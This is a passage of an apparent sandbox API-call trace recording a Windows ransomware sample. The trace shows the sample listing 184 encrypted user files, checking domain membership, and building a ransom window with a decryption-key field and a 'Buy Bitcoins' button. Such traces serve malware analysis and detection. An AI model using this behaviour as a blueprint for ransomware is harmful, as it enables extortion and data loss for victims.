out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaf130*=0x0, lpOverlapped=0x0) returned 1 [0043.528] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.528] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf010, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf010*=12874) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf010, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf010*=0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaef60, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaef60*=0) returned 1 [0043.528] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaefa0, lpOverlapped=0x0 | out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaefa0*=0x324a, lpOverlapped=0x0) returned 1 [0043.529] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.529] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.529] SetWindowTextW (hWnd=0xd001e, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0043.539] SendMessageW (hWnd=0xd001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0043.539] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.539] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0043.539] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.539] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.539] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.539] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0043.539] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.539] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.540] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0043.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0043.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xa96aefae90, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0043.546] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0043.546] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xa96acae628, BufferType=0xa96acae650 | out: lpNameBuffer=0xa96acae628*="WORKGROUP", BufferType=0xa96acae650) returned 0x0 [0043.551] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0043.553] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.553] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.553] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.553] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0043.553] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.553] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.554] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0043.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0043.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xa96aefb310, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0043.560] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0043.560] NetApiBufferSize (in: Buffer=0xa96af0b6c0, ByteCount=0xa96acadd88 | out: ByteCount=0xa96acadd88) returned 0x0 [0043.560] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0043.561] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.562] PeekMessageW (in: lpMsg=0xa96acae610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae610) returned 0 [0043.562] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0043.562] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 1 [0043.562] TranslateMessage (lpMsg=0xa96acaeeb0) returned 0 [0043.562] DispatchMessageW (lpMsg=0xa96acaeeb0) returned 0xffffffff [0043.562] GetForegroundWindow () returned 0x301cc [0043.562] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0043.563] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.563] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.563] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0043.563] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0043.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0043.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xa96aefb810, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0043.569] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0043.569] NetApiBufferFree (Buffer=0xa96af0b6c0) returned 0x0 [0043.569] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0043.570] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaeeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeeb0) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0043.571] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.571] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0xa004e, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc0020 [0043.572] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.572] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x50001, lParam=0xc0020) returned 0x0 [0043.572] GetStockObject (i=17) returned 0x10a0047 [0043.572] SendMessageW (hWnd=0xc0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0043.572] GetSysColor (nIndex=18) returned 0x0 [0043.572] GetClientRect (in: hWnd=0xc0020, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.572] GetWindowRect (in: hWnd=0xc0020, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.572] SetWindowLongPtrW (hWnd=0xc0020, nIndex=-21, dwNewLong=0x5) returned 0x0 [0043.572] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.572] GetDC (hWnd=0x0) returned 0xe010572 [0043.572] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0043.572] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0043.572] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffff9f0a070e [0043.573] SendMessageW (hWnd=0xc0020, Msg=0x30, wParam=0xffffffff9f0a070e, lParam=0x1) returned 0x0 [0043.573] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.573] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.573] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0xa004e, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x6011c [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x0 [0043.574] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x111, wParam=0x4000006, lParam=0x6011c) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0x6011c, nIndex=-21) returned 0x0 [0043.574] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x111, wParam=0x3000006, lParam=0x6011c) returned 0x0 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x55, wParam=0x6011c, lParam=0x3) returned 0x2 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0043.574] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.574] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x60001, lParam=0x6011c) returned 0x0 [0043.574] GetStockObject (i=17) returned 0x10a0047 [0043.574] SendMessageW (hWnd=0x6011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0043.574] GetClientRect (in: hWnd=0x6011c, lpRect=0xa96acaf600 | out: lpRect=0xa96acaf600) returned 1 [0043.574] GetWindowRect (in: hWnd=0x6011c, lpRect=0xa96acaf600 | out: lpRect=0xa96acaf600) returned 1 [0043.574] SetWindowLongPtrW (hWnd=0x6011c, nIndex=-21, dwNewLong=0x6) returned 0x0 [0043.574] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.575] GetDC (hWnd=0x0) returned 0xe010572 [0043.575] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0043.575] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0043.575] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x5a0a07c9 [0043.575] SendMessageW (hWnd=0x6011c, Msg=0x30, wParam=0x5a0a07c9, lParam=0x1) returned 0x1 [0043.575] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.575] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0xa004e, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x901e6 [0043.576] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.576] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x55, wParam=0x901e6, lParam=0x3) returned 0x2 [0043.576] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.576] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0043.576] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.576] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x70001, lParam=0x901e6) returned 0x0 [0043.576] GetStockObject (i=17) returned 0x10a0047 [0043.576] SendMessageW (hWnd=0x901e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0043.576] GetClientRect (in: hWnd=0x901e6, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.576] GetWindowRect (in: hWnd=0x901e6, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.576] SetWindowLongPtrW (hWnd=0x901e6, nIndex=-21, dwNewLong=0x7) returned 0x0 [0043.576] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.577] GetDC (hWnd=0x0) returned 0xe010572 [0043.577] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0043.577] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0043.577] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x490a0805 [0043.582] SendMessageW (hWnd=0x901e6, Msg=0x30, wParam=0x490a0805, lParam=0x1) returned 0x0 [0043.582] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.582] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6e0*=0) returned 1 [0043.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6d0*=0) returned 1 [0043.583] ReadFile (in: hFile=0x194, lpBuffer=0xa96af294d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf710, lpOverlapped=0x0 | out: lpBuffer=0xa96af294d0*, lpNumberOfBytesRead=0xa96acaf710*=0x1b, lpOverlapped=0x0) returned 1 [0043.583] ReadFile (in: hFile=0x194, lpBuffer=0xa96af294d0, 